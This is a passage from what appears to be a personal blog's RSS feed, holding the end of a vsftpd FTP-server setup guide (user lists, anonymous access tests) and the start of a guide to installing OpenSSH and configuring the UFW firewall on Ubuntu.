&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;userlist_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;userlist_file&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/etc/vsftpd.userlist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;userlist_deny&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;NO&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;userlist_deny=NO&lt;/code&gt; setting is used to permit only users in the &lt;code&gt;userlist&lt;/code&gt; to have FTP access.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;/etc/vsftpd.userlist&lt;/code&gt; we will add the users we want:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;ftpuser&amp;#34;&lt;/span&gt; | sudo tee -a /etc/vsftpd.userlist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we will check if the list is ok:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/vsftpd.userlist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftpuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Restart the daemon to make changes take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart vsftpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="test-ftp-access"&gt;
Test FTP Access
&lt;a href="#test-ftp-access" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Lets first try to connect anonymously to test that we will fail:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp -p 192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.1.99.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;vsFTPd 3.0.3&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Name &lt;span style="color:#f92672"&gt;(&lt;/span&gt;192.168.1.99:default&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: anonymous
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;530&lt;/span&gt; Permission denied.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp: Login failed.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see that access was denied as expected.&lt;/p&gt;
&lt;p&gt;Close the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; bye
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now lets try accessing with the &lt;code&gt;ftpuser&lt;/code&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp -p 192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.1.99.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;vsFTPd 3.0.3&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Name &lt;span style="color:#f92672"&gt;(&lt;/span&gt;192.168.1.99:default&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: ftpuser
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;331&lt;/span&gt; Please specify the password.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password: &lt;span style="color:#e6db74"&gt;&amp;#34;ADD_YOUR_PASSWORD&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;230&lt;/span&gt; Login successful.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Remote system type is UNIX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using binary mode to transfer files.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We now have access as expected.&lt;/p&gt;
&lt;p&gt;Close the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; bye
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="anonymous-ftp"&gt;
Anonymous FTP
&lt;a href="#anonymous-ftp" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In this section we will see how to setup &lt;code&gt;vsftpd&lt;/code&gt; to allow only anonymous users to access FTP, so anyone can access the server without having an account, and we will disallow user account to access the FTP server.&lt;/p&gt;
&lt;p&gt;For anonymous FTP, the default location for the files is under &lt;code&gt;/srv/ftp&lt;/code&gt;. If we want to change this location we will have to create the directory and specify it in the configuration file.&lt;/p&gt;
&lt;h3 id="create-ftp-directory"&gt;
Create ftp directory
&lt;a href="#create-ftp-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to change the default location for the files we have to create a new directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir -p /var/ftp/pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And change the ownership to &lt;code&gt;nobody:nogroup&lt;/code&gt;. Later we will configure to show all files as being owned by the existing &lt;code&gt;ftp&lt;/code&gt; user and group:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown nobody:nogroup /var/ftp/pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And create a test file to check later:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;Hey there&amp;#34;&lt;/span&gt; | sudo tee /var/ftp/pub/test.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ftp-configuration-file-1"&gt;
FTP configuration file
&lt;a href="#ftp-configuration-file-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Make sure this settings are the same:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Allow anonymous FTP? (Disabled by default).&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;anonymous_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Uncomment this to allow local users to log in.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;local_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;NO&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Also, if you want anonymous users to upload files, you do that by changing the &lt;code&gt;write_enable&lt;/code&gt; setting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Uncomment this to enable any form of FTP write command.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;write_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will limit the range of passive ports to the ones we selected to enable on the firewall:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_min_port&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_max_port&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;10100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Some other useful settings are the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Stop prompting for a password on the command line.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;no_anon_password&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Show the user and group as ftp:ftp, regardless of the owner.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;hide_ids&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And lastly, to change the default file location, to &lt;code&gt;/var/ftp&lt;/code&gt; we specify it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Point users at a custom directory.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;anon_root&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/var/ftp/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Restart the daemon to make changes take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart vsftpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="test-ftp-access-1"&gt;
Test FTP Access
&lt;a href="#test-ftp-access-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Lets try connecting anonymously to test the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp -p 192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.1.99.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;vsFTPd 3.0.3&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Name &lt;span style="color:#f92672"&gt;(&lt;/span&gt;192.168.1.99:default&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: anonymous
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;230&lt;/span&gt; Login successful.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Remote system type is UNIX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using binary mode to transfer files.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We now have access as expected.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;Name&lt;/code&gt; section we can either try the &lt;code&gt;anonymous&lt;/code&gt; or the &lt;code&gt;ftp&lt;/code&gt; user.&lt;/p&gt;
&lt;p&gt;Close the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; bye
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also access the ftp server from the browser at:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp://192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://vsftpd.beasts.org/vsftpd_conf.html"&gt;VSFTPD.CONF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/server/docs/service-ftp"&gt;Ubuntu Server - Service FTP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Very_Secure_FTP_Daemon"&gt;Arch Wiki - Very Secure FTP Daemon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-vsftpd-for-a-user-s-directory-on-ubuntu-18-04#step-6-%E2%80%94-securing-transactions"&gt;How To Set Up vsftpd for a User&amp;rsquo;s Directory on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-vsftpd-for-anonymous-downloads-on-ubuntu-16-04"&gt;How To Set Up vsftpd for Anonymous Downloads on Ubuntu 16.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SSH Server &amp; SSH Keys &amp; UFW Configure</title><link>https://thanoskoutr.com/posts/ssh-server-configure/</link><pubDate>Sat, 13 Jun 2020 15:57:30 +0300</pubDate><guid>https://thanoskoutr.com/posts/ssh-server-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/openssh.gif"/&gt;
&lt;p&gt;In this post, we will see how we can install an SSH server on our Ubuntu Server in order to access it remotely, either from the Local Network or via the internet. We will also see the setting required to make the SSH service more secure for accessing through the public internet.&lt;/p&gt;
&lt;p&gt;The following guide assumes that we have a server running in our home, on our local network, but the same can apply to a remote server running on a VPS service (like Digital Ocean, AWS, Linode, &amp;hellip;). The only major change, is that if you a have a public server, you do not need to set any port forwarding as this applies only to home users.&lt;/p&gt;
&lt;h2 id="instal-openssh"&gt;
Instal OpenSSH
&lt;a href="#instal-openssh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;First we need to install the SSH server &lt;code&gt;sshd&lt;/code&gt; if not already available:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install openssh-server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify that the service is running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status ssh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If not then start it and enable it as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start ssh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-firewall"&gt;
Configure firewall
&lt;a href="#configure-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we have a firewall running we must enable the ssh port in order to access the server. The default port for SSH is &lt;code&gt;port 22&lt;/code&gt;, but we are going to change it later for security reasons. For now we will enable access for &lt;code&gt;port 22&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we have not installed or configured a firewall like &lt;code&gt;ufw&lt;/code&gt; we can do that by:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Install ufw&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install ufw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Set default rule, to deny all incoming connections and allow all outgoing connections&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw default deny incoming
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then we can enable the only the port needed for SSH, by running the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw enable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status verbose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;allow ssh&lt;/code&gt; command, allows &lt;code&gt;port 22&lt;/code&gt; by default.&lt;/p&gt;
&lt;p&gt;If you already know the port number that you are going to use (e.g. &lt;code&gt;port 44444&lt;/code&gt;) you can disable the default ssh port if previously enabled and enable the new port with the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw deny ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow 44444/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw enable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status verbose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="test-ssh-connection"&gt;
Test SSH connection
&lt;a href="#test-ssh-connection" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;From another computer that has an &lt;code&gt;ssh&lt;/code&gt; client installed try connecting to the server, using the user you have access:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh user@server-ip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="ssh-config"&gt;
SSH Config
&lt;a href="#ssh-config" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We will now edit the &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; that has all the configurations for the SSH server, in order to make the service more secure:&lt;/p&gt;
